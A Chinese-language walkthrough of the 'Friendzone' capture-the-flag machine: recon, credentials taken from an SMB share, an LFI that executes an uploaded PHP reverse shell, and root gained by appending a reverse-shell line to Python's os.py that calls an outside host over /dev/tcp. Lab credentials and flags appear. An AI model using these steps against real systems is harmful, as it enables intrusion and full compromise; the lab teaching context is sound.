[Meachines] [Easy] Friendzone LFI+Python-OS库污染权限提升

信息收集

IP Address Opening Ports
10.10.10.123 TCP:21,22,53,80,139,443,445

$ nmap -p- 10.10.10.123 --min-rate 1000 -sC -sV

bash 复制代码
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: 404 Not Found
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

SMB


$ enum4linux 10.10.10.123

$ dig axfr friendzone.red @10.10.10.123

$ smbclient //10.10.10.123/general

smb: \> get creds.txt

username:admin
password:WORKWORKHhallelujah@#

HTTPS

# echo '10.10.10.123 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red '>>/etc/hosts

https://friendzone.red/

$ gobuster dir -u "https://administrator1.friendzone.red" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50 -k

LFI

username:admin
password:WORKWORKHhallelujah@#

https://administrator1.friendzone.red/login.php

https://administrator1.friendzone.red/dashboard.php

$ smbclient //10.10.10.123/Development

smb: \> put php-reverse-shell.php
smb: \> put pspy32

https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell

User.txt

ad2906258fb6679290609a6b243b6078

权限提升

$ cp /etc/Development/pspy32 /tmp

$ chmod +x /tmp/pspy32

$ /tmp/pspy32

$ cat /opt/server_admin/reporter.py

$ ls -la /usr/lib/python2.7/os.py

$ echo 'system("/bin/bash -c \"/bin/sh -i >& /dev/tcp/10.10.16.6/10033 0>&1\"")' >> /usr/lib/python2.7/os.py

Root.txt

253809a3fa48b78d59b7884199f37b35

相关推荐
鱼很腾apoc1 小时前
【学习篇】第20期 超详解 C++ 多态:从语法规则到底层原理
java·c语言·开发语言·c++·学习·算法·青少年编程
浪里行舟1 小时前
你的品牌正在被AI“遗忘”?用BuildSOM找回搜索的下一个风口
人工智能·python·程序员
不吃土豆的马铃薯2 小时前
4.SGI STL 二级空间配置器 allocate 与_S_refill 源码解析
c语言·开发语言·c++·dreamweaver·内存池
码界筑梦坊2 小时前
120-基于Python的食品营养特征数据可视化分析系统
开发语言·python·信息可视化·数据分析·毕业设计·echarts·fastapi
logo_282 小时前
Xpath语法规则的学习和使用
javascript·python·xpath·xpath语法
lsx2024062 小时前
《Foundation 模态框》
开发语言
fufu03113 小时前
vscode配置C/C++环境,用GDB调试简单程序分享
开发语言·c++
快乐江湖3 小时前
「层层包装」—— 装饰器模式
开发语言·python·装饰器模式
java1234_小锋3 小时前
String、StringBuilder、StringBuffer的区别?
java·开发语言
星原望野3 小时前
JAVA集合:List、Set和Map
java·开发语言·list·set·map·集合